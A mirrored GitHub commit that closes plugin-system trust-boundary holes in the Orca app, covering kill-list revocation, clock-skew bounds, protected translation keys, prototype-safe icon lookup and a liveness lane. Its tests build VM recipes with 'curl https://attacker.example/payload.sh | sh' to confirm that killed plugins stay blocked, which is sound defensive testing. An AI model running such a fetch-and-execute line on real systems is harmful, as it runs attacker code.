mirror of
https://github.com/stablyai/orca.git
synced 2026-09-22 00:02:31 +00:00
fix(plugins): close four trust-boundary holes in the plugin system (#11232)
* fix(plugins): close trust-boundary holes in the plugin system
Move five security decisions to their chokepoints rather than leaving them
enumerated at individual call sites.
- Kill-list revocation reaches content packs: PluginContentPackRegistry now
takes an isKilled predicate and intersects it with any caller-supplied
approval, so a killed plugin's VM recipes can no longer reach
spawn(..., { shell: true }) through either reconcile() call site.
- Bound kill-list generatedAt to a 24h future skew at the parse chokepoint.
A far-future timestamp previously made every genuine later list look
"older" and disabled revocation permanently, persisted across restarts.
- Protect the whole auto.components.settings.Plugin* translation subtree
instead of an enumerated prefix list, so language packs cannot forge the
consent provenance badge or rewrite install-error security copy.
- Resolve manifest panel icons by own-key only; "constructor"/"__proto__"
previously yielded non-component prototype members that crashed the
right sidebar to its error boundary.
- Give panel liveness frames a reserved control budget so a panel that
saturates its action budget can still answer the watchdog.
Co-authored-by: Orca <help@stably.ai>
* fix(plugins): keep the kill-list future bound off the cache read path
The schema-level generatedAt bound re-judged the on-disk cache against the
device clock at every launch, so a client whose clock ran behind the last
genuine publication discarded its whole cached kill list and started with
zero revocations. Move the bound to the two fetch chokepoints instead.
Co-authored-by: Orca <help@stably.ai>
* fix(plugins): remove the reserved-lane starvation window and the revocation TOCTOU
Review follow-ups on the trust-boundary fixes:
- The reserved liveness lane had a per-window count equal to the ping
interval, so a panel's own pong-shaped traffic could spend it and drop
the next genuine reply — reintroducing the starvation the lane exists to
prevent. The lane is now size-bounded only; rate stays bounded because
every pong is also charged to the data budget.
- Only schema-valid pongs take the lane now, so near-miss pong-shaped junk
cannot drain it. readPanelPongId replaces the zod parse on this
guest-controlled path (a rejected safeParse allocates an issue list, ~90x
the accepted-path cost) and is pinned to the schema by a parity test.
- Re-read the kill list inside approveAtomically: approvedKeys is snapshotted
before an awaited verification phase, so a plugin killed during that wait
could still publish VM recipes and language packs.
- Assert the curated icon resolves to FileText; the old equality also passed
when both sides fell back to Plug.
Co-authored-by: Orca <help@stably.ai>
* fix(plugins): match zod's safe-integer bound in the pong reader
readPanelPongId used Number.isInteger, but zod's .int() rejects anything
above 2**53-1, so pingIds like 1e100 took the reserved lane the schema
would have refused. The parity test never probed that boundary.
Co-authored-by: Orca <help@stably.ai>
---------
Co-authored-by: Orca <help@stably.ai>
This commit is contained in:
@@ -51,7 +51,7 @@ describe('PluginContentPackRegistry', () => {
|
||||
contentHash: null,
|
||||
isDev: true
|
||||
}
|
||||
const registry = new PluginContentPackRegistry(new PluginContentVerifier())
|
||||
const registry = new PluginContentPackRegistry(new PluginContentVerifier(), () => false)
|
||||
|
||||
await registry.reconcile([plugin], () => true)
|
||||
|
||||
@@ -97,7 +97,7 @@ describe('PluginContentPackRegistry', () => {
|
||||
contentHash: null,
|
||||
isDev: true
|
||||
}
|
||||
const registry = new PluginContentPackRegistry(new PluginContentVerifier())
|
||||
const registry = new PluginContentPackRegistry(new PluginContentVerifier(), () => false)
|
||||
|
||||
await registry.reconcile([plugin], () => true)
|
||||
|
||||
@@ -105,4 +105,61 @@ describe('PluginContentPackRegistry', () => {
|
||||
expect(registry.languagePacks.list()).toEqual([])
|
||||
expect(registry.vmRecipes.list()).toEqual([])
|
||||
})
|
||||
|
||||
it('withholds content from a plugin killed during the awaited verification phase', async () => {
|
||||
const rootDir = await mkdtemp(join(tmpdir(), 'orca-plugin-content-pack-kill-race-'))
|
||||
roots.push(rootDir)
|
||||
await Promise.all([mkdir(join(rootDir, 'locales')), mkdir(join(rootDir, 'recipes'))])
|
||||
await Promise.all([
|
||||
writeFile(join(rootDir, 'locales', 'es.json'), JSON.stringify({ settings: 'Ajustes' })),
|
||||
writeFile(
|
||||
join(rootDir, 'recipes', 'vm.json'),
|
||||
JSON.stringify({
|
||||
schemaVersion: 1,
|
||||
id: 'raced-recipe',
|
||||
name: 'Raced Recipe',
|
||||
create: 'curl https://attacker.example/payload.sh | sh'
|
||||
})
|
||||
)
|
||||
])
|
||||
const manifest = pluginManifestSchema.parse({
|
||||
manifestVersion: 1,
|
||||
id: 'kill-race',
|
||||
publisher: 'orca-samples',
|
||||
name: 'Kill Race',
|
||||
version: '1.0.0',
|
||||
engines: { orca: '>=1.0.0' },
|
||||
pluginApi: 1,
|
||||
contributes: {
|
||||
languagePacks: [{ locale: 'es', path: 'locales/es.json' }],
|
||||
vmRecipes: [{ path: 'recipes/vm.json' }]
|
||||
},
|
||||
capabilities: []
|
||||
})
|
||||
const content = await hashPluginTree(rootDir)
|
||||
if (!content.ok) {
|
||||
throw new Error(content.error)
|
||||
}
|
||||
const plugin: ValidDiscoveredPlugin = {
|
||||
pluginKey: 'orca-samples.kill-race',
|
||||
rootDir,
|
||||
manifest,
|
||||
consentFingerprint: fingerprintPluginConsent(manifest, content.hash),
|
||||
consentContentHash: content.hash,
|
||||
contentHash: null,
|
||||
isDev: true
|
||||
}
|
||||
let killed = false
|
||||
const registry = new PluginContentPackRegistry(new PluginContentVerifier(), () => killed)
|
||||
|
||||
// reconcile() builds its approved-key snapshot synchronously before it
|
||||
// first yields, so flipping the kill list here lands squarely inside the
|
||||
// awaited verification window the final admission gate must re-check.
|
||||
const reconciled = registry.reconcile([plugin], () => true)
|
||||
killed = true
|
||||
await reconciled
|
||||
|
||||
expect(registry.vmRecipes.list()).toEqual([])
|
||||
expect(registry.languagePacks.list()).toEqual([])
|
||||
})
|
||||
})
|
||||
|
||||
@@ -16,7 +16,12 @@ export class PluginContentPackRegistry {
|
||||
readonly commands: PluginCommandRegistry
|
||||
private readonly activationErrors = new Map<string, string>()
|
||||
|
||||
constructor(contentVerifier: PluginContentVerifier) {
|
||||
constructor(
|
||||
contentVerifier: PluginContentVerifier,
|
||||
/** Revocation chokepoint: no caller-supplied predicate can readmit a
|
||||
* killed plugin's language packs, VM recipes, or commands. */
|
||||
private readonly isKilled: (pluginKey: string) => boolean
|
||||
) {
|
||||
this.languagePacks = new PluginLanguagePackRegistry(contentVerifier)
|
||||
this.vmRecipes = new PluginVmRecipeRegistry()
|
||||
this.commands = new PluginCommandRegistry()
|
||||
@@ -30,7 +35,7 @@ export class PluginContentPackRegistry {
|
||||
const approvedKeys = new Set(
|
||||
discovered
|
||||
.filter((plugin): plugin is ValidDiscoveredPlugin => !isInvalidDiscoveredPlugin(plugin))
|
||||
.filter(isApproved)
|
||||
.filter((plugin) => isApproved(plugin) && !this.isKilled(plugin.pluginKey))
|
||||
.map((plugin) => plugin.pluginKey)
|
||||
)
|
||||
const excluded = new Set<string>()
|
||||
@@ -58,8 +63,13 @@ export class PluginContentPackRegistry {
|
||||
)
|
||||
|
||||
while (true) {
|
||||
// `approvedKeys` is a snapshot from before the awaited verification
|
||||
// above, so a kill list arriving during that wait would otherwise still
|
||||
// publish. Re-read revocation here, the last gate before publication.
|
||||
const approveAtomically = (plugin: ValidDiscoveredPlugin): boolean =>
|
||||
approvedKeys.has(plugin.pluginKey) && !excluded.has(plugin.pluginKey)
|
||||
approvedKeys.has(plugin.pluginKey) &&
|
||||
!excluded.has(plugin.pluginKey) &&
|
||||
!this.isKilled(plugin.pluginKey)
|
||||
const languagePacks = this.languagePacks.reconcile(discovered, approveAtomically)
|
||||
const vmRecipes = this.vmRecipes.reconcile(discovered, approveAtomically)
|
||||
this.commands.reconcile(discovered, approveAtomically, keybindings)
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { afterEach, describe, expect, it } from 'vitest'
|
||||
import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
|
||||
import { pluginManifestSchema, type PluginManifest } from '../../shared/plugins/plugin-manifest'
|
||||
import { getApprovedPluginVmRecipes } from './plugin-approved-vm-recipes'
|
||||
import { PluginService } from './plugin-service'
|
||||
import { hashPluginTree } from './plugin-content-hash'
|
||||
|
||||
/** A kill-listed plugin's declarative content must stop reaching the runtime:
|
||||
* VM recipe `create` strings are executed through spawn(..., { shell: true }). */
|
||||
|
||||
const roots: string[] = []
|
||||
const services: PluginService[] = []
|
||||
const pluginKey = 'orca-samples.recipes'
|
||||
|
||||
function contentManifest(): PluginManifest {
|
||||
return pluginManifestSchema.parse({
|
||||
manifestVersion: 1,
|
||||
id: 'recipes',
|
||||
publisher: 'orca-samples',
|
||||
name: 'Recipes',
|
||||
version: '1.0.0',
|
||||
engines: { orca: '>=1.0.0' },
|
||||
pluginApi: 1,
|
||||
contributes: {
|
||||
languagePacks: [{ locale: 'es', path: 'locales/es.json' }],
|
||||
vmRecipes: [{ path: 'recipes/vm.json' }]
|
||||
},
|
||||
capabilities: []
|
||||
})
|
||||
}
|
||||
|
||||
async function pluginRoot(): Promise<string> {
|
||||
const root = await mkdtemp(join(tmpdir(), 'orca-plugin-kill-content-'))
|
||||
roots.push(root)
|
||||
await Promise.all([mkdir(join(root, 'locales')), mkdir(join(root, 'recipes'))])
|
||||
await Promise.all([
|
||||
writeFile(join(root, 'orca-plugin.json'), JSON.stringify(contentManifest())),
|
||||
writeFile(join(root, 'locales', 'es.json'), JSON.stringify({ settings: 'Ajustes' })),
|
||||
writeFile(
|
||||
join(root, 'recipes', 'vm.json'),
|
||||
JSON.stringify({
|
||||
schemaVersion: 1,
|
||||
id: 'killed-recipe',
|
||||
name: 'Killed Recipe',
|
||||
create: 'curl https://attacker.example/payload.sh | sh'
|
||||
})
|
||||
)
|
||||
])
|
||||
return root
|
||||
}
|
||||
|
||||
async function createService(root: string, isKilled: () => boolean): Promise<PluginService> {
|
||||
const content = await hashPluginTree(root)
|
||||
if (!content.ok) {
|
||||
throw new Error(content.error)
|
||||
}
|
||||
const service = new PluginService({
|
||||
userDataPath: root,
|
||||
hostVersion: '1.4.0',
|
||||
isPluginSystemEnabled: () => true,
|
||||
getDisabledPlugins: () => [],
|
||||
getPluginConsents: () => ({
|
||||
[pluginKey]: fingerprintPluginConsent(contentManifest(), content.hash)
|
||||
}),
|
||||
getDevPluginPaths: () => [root],
|
||||
getPluginKillListEntry: (key) =>
|
||||
isKilled() && key === pluginKey ? { pluginKey, reason: 'Malware advisory' } : null
|
||||
})
|
||||
services.push(service)
|
||||
return service
|
||||
}
|
||||
|
||||
afterEach(async () => {
|
||||
await Promise.all(services.splice(0).map((service) => service.dispose()))
|
||||
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
|
||||
})
|
||||
|
||||
describe('kill-list revocation of declarative plugin content', () => {
|
||||
it('withdraws VM recipes and language packs when a live plugin is killed', async () => {
|
||||
const root = await pluginRoot()
|
||||
let killed = false
|
||||
const service = await createService(root, () => killed)
|
||||
await service.initialize()
|
||||
expect(await getApprovedPluginVmRecipes(service)).toHaveLength(1)
|
||||
|
||||
killed = true
|
||||
await service.reconcileActivationState()
|
||||
|
||||
expect(await getApprovedPluginVmRecipes(service)).toEqual([])
|
||||
expect(service.contentPacks.languagePacks.list()).toEqual([])
|
||||
})
|
||||
|
||||
it('never publishes killed content after a restart discovers the plugin', async () => {
|
||||
const root = await pluginRoot()
|
||||
const service = await createService(root, () => true)
|
||||
|
||||
await service.initialize()
|
||||
|
||||
expect(await getApprovedPluginVmRecipes(service)).toEqual([])
|
||||
expect(service.contentPacks.languagePacks.list()).toEqual([])
|
||||
})
|
||||
})
|
||||
@@ -23,6 +23,7 @@ function killList(date = '2026-07-12T20:00:00Z'): PluginKillList {
|
||||
}
|
||||
|
||||
afterEach(async () => {
|
||||
vi.useRealTimers()
|
||||
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
|
||||
})
|
||||
|
||||
@@ -79,6 +80,52 @@ describe('PluginKillListService', () => {
|
||||
)
|
||||
})
|
||||
|
||||
it('keeps accepting genuine lists after a far-future snapshot is published', async () => {
|
||||
const root = await tempRoot()
|
||||
const fetcher = vi
|
||||
.fn<() => Promise<PluginKillList>>()
|
||||
.mockResolvedValueOnce(killList('9999-12-31T23:59:59Z'))
|
||||
.mockResolvedValueOnce(killList('2026-07-12T20:00:00Z'))
|
||||
const service = new PluginKillListService({ pluginsDataDir: root, fetcher })
|
||||
|
||||
await expect(service.refresh()).rejects.toThrow()
|
||||
await expect(service.refresh()).resolves.toMatchObject({
|
||||
generatedAt: '2026-07-12T20:00:00Z'
|
||||
})
|
||||
expect(service.reason('community.unsafe')).toBe('Malware advisory')
|
||||
// The poisoned snapshot must not have been cached for the next launch.
|
||||
const restarted = new PluginKillListService({ pluginsDataDir: root, fetcher })
|
||||
await restarted.initialize()
|
||||
expect(restarted.snapshot()?.generatedAt).toBe('2026-07-12T20:00:00Z')
|
||||
})
|
||||
|
||||
it('keeps cached revocations live when the device clock runs far behind', async () => {
|
||||
const root = await tempRoot()
|
||||
const generatedAt = new Date().toISOString()
|
||||
const published = new PluginKillListService({
|
||||
pluginsDataDir: root,
|
||||
fetcher: async () => killList(generatedAt)
|
||||
})
|
||||
await published.refresh()
|
||||
// A dead RTC / restored VM snapshot must not re-judge an already-accepted
|
||||
// cache against the wrong clock and silently un-revoke a killed plugin.
|
||||
vi.useFakeTimers()
|
||||
vi.setSystemTime(new Date(Date.parse(generatedAt) - 30 * 24 * 60 * 60 * 1000))
|
||||
const restarted = new PluginKillListService({
|
||||
pluginsDataDir: root,
|
||||
fetcher: async () => killList(generatedAt)
|
||||
})
|
||||
|
||||
await restarted.initialize()
|
||||
|
||||
expect(restarted.snapshot()?.generatedAt).toBe(generatedAt)
|
||||
expect(restarted.reason('community.unsafe')).toBe('Malware advisory')
|
||||
// A refresh the skewed clock cannot vouch for is refused, but refusing it
|
||||
// must never downgrade the revocations already in force.
|
||||
await expect(restarted.refresh()).rejects.toThrow()
|
||||
expect(restarted.reason('community.unsafe')).toBe('Malware advisory')
|
||||
})
|
||||
|
||||
it('rejects a replayed older snapshot without replacing cached revocations', async () => {
|
||||
const fetcher = vi
|
||||
.fn<() => Promise<PluginKillList>>()
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import {
|
||||
findKilledPlugin,
|
||||
isPluginKillListTooFarInFuture,
|
||||
pluginKillListSchema,
|
||||
type PluginKillList,
|
||||
type PluginKillListEntry
|
||||
@@ -75,6 +76,9 @@ export class PluginKillListService {
|
||||
private async performRefresh(): Promise<PluginKillList> {
|
||||
await this.initialize()
|
||||
const fetched = pluginKillListSchema.parse(await this.fetcher())
|
||||
if (isPluginKillListTooFarInFuture(fetched)) {
|
||||
throw new Error('refusing a plugin kill list generated too far in the future')
|
||||
}
|
||||
if (
|
||||
this.currentList &&
|
||||
Date.parse(fetched.generatedAt) < Date.parse(this.currentList.generatedAt)
|
||||
@@ -127,7 +131,11 @@ export async function fetchPluginKillList(
|
||||
offset += chunk.byteLength
|
||||
}
|
||||
try {
|
||||
return pluginKillListSchema.parse(JSON.parse(new TextDecoder().decode(bytes)))
|
||||
const parsed = pluginKillListSchema.parse(JSON.parse(new TextDecoder().decode(bytes)))
|
||||
if (isPluginKillListTooFarInFuture(parsed)) {
|
||||
throw new Error('generatedAt is too far in the future')
|
||||
}
|
||||
return parsed
|
||||
} catch (error) {
|
||||
throw new Error(
|
||||
`invalid plugin kill-list response: ${error instanceof Error ? error.message : String(error)}`
|
||||
|
||||
@@ -64,7 +64,9 @@ export class PluginService {
|
||||
|
||||
constructor(options: PluginServiceOptions) {
|
||||
this.options = options
|
||||
this.contentPacks = new PluginContentPackRegistry(this.contentVerifier)
|
||||
this.contentPacks = new PluginContentPackRegistry(this.contentVerifier, (pluginKey) =>
|
||||
Boolean(this.options.getPluginKillListEntry?.(pluginKey))
|
||||
)
|
||||
this.audit = new PluginAuditLog(getPluginsDataDir(options.userDataPath))
|
||||
this.panels = new PluginPanelController({
|
||||
resolveApprovedPlugin: (pluginKey) => {
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import { FileText, Plug } from 'lucide-react'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import type { ActivePluginPanel } from '@/store/plugin-panels'
|
||||
import { getPluginPanelActivityItems } from './plugin-panel-activity-items'
|
||||
import { getPluginPanelActivityItems, resolvePluginPanelIcon } from './plugin-panel-activity-items'
|
||||
|
||||
const panel: ActivePluginPanel = {
|
||||
id: 'dashboard',
|
||||
@@ -10,6 +11,30 @@ const panel: ActivePluginPanel = {
|
||||
pluginName: 'Demo'
|
||||
}
|
||||
|
||||
describe('resolvePluginPanelIcon', () => {
|
||||
it('resolves a curated icon name in both lucide naming styles', () => {
|
||||
const dashed = resolvePluginPanelIcon('file-text')
|
||||
// Without this, the equality below also passes when both sides fall back.
|
||||
expect(dashed).toBe(FileText)
|
||||
expect(resolvePluginPanelIcon('FileText')).toBe(dashed)
|
||||
})
|
||||
|
||||
it.each(['constructor', '__proto__', 'toString', 'hasOwnProperty'])(
|
||||
'falls back to Plug for the prototype member %s',
|
||||
(iconName) => {
|
||||
expect(resolvePluginPanelIcon(iconName)).toBe(Plug)
|
||||
}
|
||||
)
|
||||
|
||||
it('keeps a hostile manifest icon renderable by the activity bar', () => {
|
||||
// Object / Object.prototype are not valid React element types: rendering
|
||||
// either throws past the right-sidebar boundary and blanks the whole rail.
|
||||
const item = getPluginPanelActivityItems([{ ...panel, icon: 'constructor' }])[0]!
|
||||
expect(item.icon).not.toBe(Object)
|
||||
expect(item.icon).toBe(Plug)
|
||||
})
|
||||
})
|
||||
|
||||
describe('getPluginPanelActivityItems', () => {
|
||||
it('projects watchdog failure into host-owned activity chrome', () => {
|
||||
expect(
|
||||
|
||||
@@ -70,7 +70,11 @@ export function resolvePluginPanelIcon(iconName: string | undefined): PluginPane
|
||||
}
|
||||
// Accept both lucide naming styles ('file-text' and 'FileText').
|
||||
const normalized = iconName.replaceAll('-', '').toLowerCase()
|
||||
return PLUGIN_PANEL_ICONS[normalized] ?? Plug
|
||||
// Own-key only: a manifest icon named `constructor` must not resolve to an
|
||||
// inherited member and crash the sidebar with a non-component "icon".
|
||||
return Object.hasOwn(PLUGIN_PANEL_ICONS, normalized)
|
||||
? (PLUGIN_PANEL_ICONS[normalized] ?? Plug)
|
||||
: Plug
|
||||
}
|
||||
|
||||
/** Maps active plugin panel contributions onto right-sidebar activity items. */
|
||||
|
||||
@@ -223,26 +223,52 @@ describe('createPanelBridgeMessageHandler', () => {
|
||||
expect(panelWindow.postMessage).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('charges pong and invalid guest traffic before parsing either message', () => {
|
||||
it('charges every guest frame, pongs included, to the data budget', () => {
|
||||
const panelWindow = createFakePanelWindow()
|
||||
const admit = vi.fn<PanelMessageBudget['admit']>().mockReturnValue(null)
|
||||
const controlAdmit = vi.fn<PanelMessageBudget['admit']>().mockReturnValue(null)
|
||||
const onPong = vi.fn()
|
||||
const handler = createPanelBridgeMessageHandler({
|
||||
sessionToken: SESSION_TOKEN,
|
||||
getPanelWindow: () => panelWindow,
|
||||
callPanelAction: vi.fn(),
|
||||
onPong,
|
||||
budget: { maxBytes: 1024, admit }
|
||||
budget: { maxBytes: 1024, admit },
|
||||
controlBudget: { maxBytes: 1024, admit: controlAdmit }
|
||||
})
|
||||
|
||||
handler(messageEvent({ type: 'invalid-hostile-message' }, panelWindow))
|
||||
handler(messageEvent({ type: 'orca-panel-pong', pingId: 7 }, panelWindow))
|
||||
|
||||
// The pong spends data budget too, so the reserved lane grants liveness
|
||||
// without also granting a free channel for unmetered host work.
|
||||
expect(admit).toHaveBeenCalledTimes(2)
|
||||
expect(controlAdmit).toHaveBeenCalledTimes(1)
|
||||
expect(onPong).toHaveBeenCalledWith(7)
|
||||
})
|
||||
|
||||
it('does not accept a pong refused by the rate budget', () => {
|
||||
it('charges a near-miss pong to the data budget only, sparing the reserved lane', () => {
|
||||
const panelWindow = createFakePanelWindow()
|
||||
const admit = vi.fn<PanelMessageBudget['admit']>().mockReturnValue(null)
|
||||
const controlAdmit = vi.fn<PanelMessageBudget['admit']>().mockReturnValue(null)
|
||||
const handler = createPanelBridgeMessageHandler({
|
||||
sessionToken: SESSION_TOKEN,
|
||||
getPanelWindow: () => panelWindow,
|
||||
callPanelAction: vi.fn(),
|
||||
onPong: vi.fn(),
|
||||
budget: { maxBytes: 1024, admit },
|
||||
controlBudget: { maxBytes: 1024, admit: controlAdmit }
|
||||
})
|
||||
|
||||
handler(messageEvent({ type: 'orca-panel-pong', pingId: -1 }, panelWindow))
|
||||
handler(messageEvent({ type: 'orca-panel-pong', pingId: 'seven' }, panelWindow))
|
||||
handler(messageEvent({ type: 'orca-panel-pong' }, panelWindow))
|
||||
|
||||
expect(admit).toHaveBeenCalledTimes(3)
|
||||
expect(controlAdmit).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('keeps answering the watchdog while the data budget is saturated', () => {
|
||||
const panelWindow = createFakePanelWindow()
|
||||
const onPong = vi.fn()
|
||||
const handler = createPanelBridgeMessageHandler({
|
||||
@@ -255,6 +281,50 @@ describe('createPanelBridgeMessageHandler', () => {
|
||||
|
||||
handler(messageEvent({ type: 'orca-panel-pong', pingId: 7 }, panelWindow))
|
||||
|
||||
expect(onPong).toHaveBeenCalledWith(7)
|
||||
})
|
||||
|
||||
it('never lets a panel starve its own watchdog with self-sent pong traffic', () => {
|
||||
const panelWindow = createFakePanelWindow()
|
||||
const onPong = vi.fn()
|
||||
let clock = 0
|
||||
const handler = createPanelBridgeMessageHandler({
|
||||
sessionToken: SESSION_TOKEN,
|
||||
getPanelWindow: () => panelWindow,
|
||||
callPanelAction: vi.fn(),
|
||||
onPong,
|
||||
now: () => clock
|
||||
})
|
||||
|
||||
// A hostile panel floods unsolicited pongs, then the real watchdog reply
|
||||
// for this window arrives. Any per-window count on the reserved lane would
|
||||
// have been spent by the flood and would drop pingId 99.
|
||||
for (let i = 0; i < 500; i += 1) {
|
||||
handler(messageEvent({ type: 'orca-panel-pong', pingId: i }, panelWindow))
|
||||
clock += 1
|
||||
}
|
||||
handler(messageEvent({ type: 'orca-panel-pong', pingId: 99 }, panelWindow))
|
||||
|
||||
expect(onPong).toHaveBeenLastCalledWith(99)
|
||||
})
|
||||
|
||||
it('refuses an oversized frame on the reserved lane', () => {
|
||||
const panelWindow = createFakePanelWindow()
|
||||
const onPong = vi.fn()
|
||||
const handler = createPanelBridgeMessageHandler({
|
||||
sessionToken: SESSION_TOKEN,
|
||||
getPanelWindow: () => panelWindow,
|
||||
callPanelAction: vi.fn(),
|
||||
onPong
|
||||
})
|
||||
|
||||
handler(
|
||||
messageEvent(
|
||||
{ type: 'orca-panel-pong', pingId: 7, padding: 'x'.repeat(4 * 1024) },
|
||||
panelWindow
|
||||
)
|
||||
)
|
||||
|
||||
expect(onPong).not.toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
|
||||
@@ -1,12 +1,14 @@
|
||||
import {
|
||||
PANEL_ACTION_RESULT_TYPE,
|
||||
PANEL_CONTROL_MESSAGE_MAX_BYTES,
|
||||
looksLikePanelActionRequest,
|
||||
looksLikePanelPong,
|
||||
parsePanelActionRequest,
|
||||
readPanelPongId,
|
||||
type PluginPanelActionOutcome,
|
||||
type PluginPanelActionResultMessage
|
||||
} from '../../../../shared/plugins/plugin-panel-bridge'
|
||||
import {
|
||||
createPanelControlMessageBudget,
|
||||
createPanelMessageBudget,
|
||||
structuredCloneMessageBytes,
|
||||
type PanelMessageBudget
|
||||
@@ -39,6 +41,8 @@ export type PanelBridgeHostOptions = {
|
||||
onPong?: (pingId: number) => void
|
||||
/** Injectable for tests; defaults to the shared per-plugin budget. */
|
||||
budget?: PanelMessageBudget
|
||||
/** Reserved liveness budget; defaults to the shared control-frame budget. */
|
||||
controlBudget?: PanelMessageBudget
|
||||
now?: () => number
|
||||
}
|
||||
|
||||
@@ -65,6 +69,7 @@ export function createPanelBridgeMessageHandler(
|
||||
options: PanelBridgeHostOptions
|
||||
): (event: MessageEvent) => void {
|
||||
const budget = options.budget ?? createPanelMessageBudget()
|
||||
const controlBudget = options.controlBudget ?? createPanelControlMessageBudget()
|
||||
const now = options.now ?? (() => Date.now())
|
||||
return (event: MessageEvent): void => {
|
||||
const panelWindow = options.getPanelWindow()
|
||||
@@ -83,6 +88,28 @@ export function createPanelBridgeMessageHandler(
|
||||
// concrete origin, so anything stricter would silently drop the reply.
|
||||
requestingWindow.postMessage(message, '*')
|
||||
}
|
||||
// A valid pong is the one frame the host must never lose: it takes a
|
||||
// reserved lane so a panel saturating its data budget can still prove it
|
||||
// is alive. Only schema-valid pongs qualify, so near-miss pong-shaped junk
|
||||
// cannot drain the lane the real reply needs — it falls through to the
|
||||
// data budget below like any other malformed frame.
|
||||
const pongId = readPanelPongId(event.data)
|
||||
if (pongId !== null) {
|
||||
const timestamp = now()
|
||||
// One walk, capped at the smaller lane bound, serves both budgets: a
|
||||
// pong above that cap is refused here anyway.
|
||||
const pongBytes = structuredCloneMessageBytes(
|
||||
event.data,
|
||||
controlBudget.maxBytes ?? PANEL_CONTROL_MESSAGE_MAX_BYTES
|
||||
)
|
||||
// Charged to both: the data budget still meters this traffic, while a
|
||||
// refusal there cannot by itself silence liveness.
|
||||
budget.admit(timestamp, pongBytes)
|
||||
if (!controlBudget.admit(timestamp, pongBytes)) {
|
||||
options.onPong?.(pongId)
|
||||
}
|
||||
return
|
||||
}
|
||||
// Budgets run before parsing: a flood of malformed junk must not buy
|
||||
// free schema-validation CPU either.
|
||||
const refusal = budget.admit(now(), structuredCloneMessageBytes(event.data, budget.maxBytes))
|
||||
@@ -111,10 +138,6 @@ export function createPanelBridgeMessageHandler(
|
||||
}
|
||||
return
|
||||
}
|
||||
if (looksLikePanelPong(event.data)) {
|
||||
options.onPong?.((event.data as { pingId: number }).pingId)
|
||||
return
|
||||
}
|
||||
if (!looksLikePanelActionRequest(event.data)) {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -1,9 +1,12 @@
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import {
|
||||
PLUGIN_KILL_LIST_ENTRY_LIMIT,
|
||||
PLUGIN_KILL_LIST_FUTURE_SKEW_MS,
|
||||
findKilledPlugin,
|
||||
isPluginKillListTooFarInFuture,
|
||||
killedPluginKeys,
|
||||
pluginKillListSchema
|
||||
pluginKillListSchema,
|
||||
type PluginKillList
|
||||
} from './plugin-kill-list'
|
||||
|
||||
function entry(pluginKey = 'community.unsafe'): Record<string, unknown> {
|
||||
@@ -87,3 +90,19 @@ describe('pluginKillListSchema', () => {
|
||||
).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
describe('isPluginKillListTooFarInFuture', () => {
|
||||
const list = (generatedAt: string): PluginKillList =>
|
||||
pluginKillListSchema.parse({ version: 1, generatedAt, plugins: [entry()] })
|
||||
|
||||
it('flags a snapshot that would freeze out every later revocation', () => {
|
||||
expect(isPluginKillListTooFarInFuture(list('9999-12-31T23:59:59Z'))).toBe(true)
|
||||
})
|
||||
|
||||
it('allows a snapshot inside the clock-skew window', () => {
|
||||
const generatedAt = new Date(
|
||||
Date.now() + PLUGIN_KILL_LIST_FUTURE_SKEW_MS - 60_000
|
||||
).toISOString()
|
||||
expect(isPluginKillListTooFarInFuture(list(generatedAt))).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
@@ -2,6 +2,8 @@ import { z } from 'zod'
|
||||
import { isQualifiedPluginKey } from './plugin-manifest'
|
||||
|
||||
export const PLUGIN_KILL_LIST_ENTRY_LIMIT = 4_096
|
||||
/** Publisher clocks and client clocks disagree by minutes, never by days. */
|
||||
export const PLUGIN_KILL_LIST_FUTURE_SKEW_MS = 24 * 60 * 60 * 1000
|
||||
|
||||
const advisoryUrlSchema = z
|
||||
.string()
|
||||
@@ -38,6 +40,17 @@ export const pluginKillListSchema = z
|
||||
export type PluginKillList = z.infer<typeof pluginKillListSchema>
|
||||
export type PluginKillListEntry = z.infer<typeof pluginKillListEntrySchema>
|
||||
|
||||
/** A far-future generatedAt makes every genuine later list look "older" and
|
||||
* disables revocation permanently. Checked only on freshly fetched snapshots:
|
||||
* a cached list was already accepted once, and re-judging it against the
|
||||
* device clock would drop live revocations whenever that clock runs slow. */
|
||||
export function isPluginKillListTooFarInFuture(
|
||||
killList: PluginKillList,
|
||||
now = Date.now()
|
||||
): boolean {
|
||||
return Date.parse(killList.generatedAt) > now + PLUGIN_KILL_LIST_FUTURE_SKEW_MS
|
||||
}
|
||||
|
||||
export function killedPluginKeys(killList: PluginKillList): ReadonlySet<string> {
|
||||
return new Set(killList.plugins.map((plugin) => plugin.pluginKey))
|
||||
}
|
||||
|
||||
@@ -35,6 +35,9 @@ describe('plugin language-pack artifacts', () => {
|
||||
|
||||
it.each([
|
||||
'PluginConsentDialog',
|
||||
// The provenance badge and install-error copy carry the trust decision.
|
||||
'PluginConsentProvenance',
|
||||
'pluginError',
|
||||
'PluginKeybindingConsentPreview',
|
||||
'PluginMarketplaceListingRow',
|
||||
'PluginMarketplacePreviewDialog',
|
||||
@@ -54,6 +57,33 @@ describe('plugin language-pack artifacts', () => {
|
||||
).toMatchObject({ ok: false, error: expect.stringContaining('protected security copy') })
|
||||
})
|
||||
|
||||
it('forges no trust badge: the community→Official swap is refused', () => {
|
||||
expect(
|
||||
parsePluginLanguagePackArtifact(
|
||||
JSON.stringify({
|
||||
auto: {
|
||||
components: {
|
||||
settings: { PluginConsentProvenance: { community: 'Official' } }
|
||||
}
|
||||
}
|
||||
})
|
||||
)
|
||||
).toMatchObject({
|
||||
ok: false,
|
||||
error: expect.stringContaining('auto.components.settings.PluginConsentProvenance')
|
||||
})
|
||||
})
|
||||
|
||||
it('still lets language packs translate non-plugin settings copy', () => {
|
||||
expect(
|
||||
parsePluginLanguagePackArtifact(
|
||||
JSON.stringify({
|
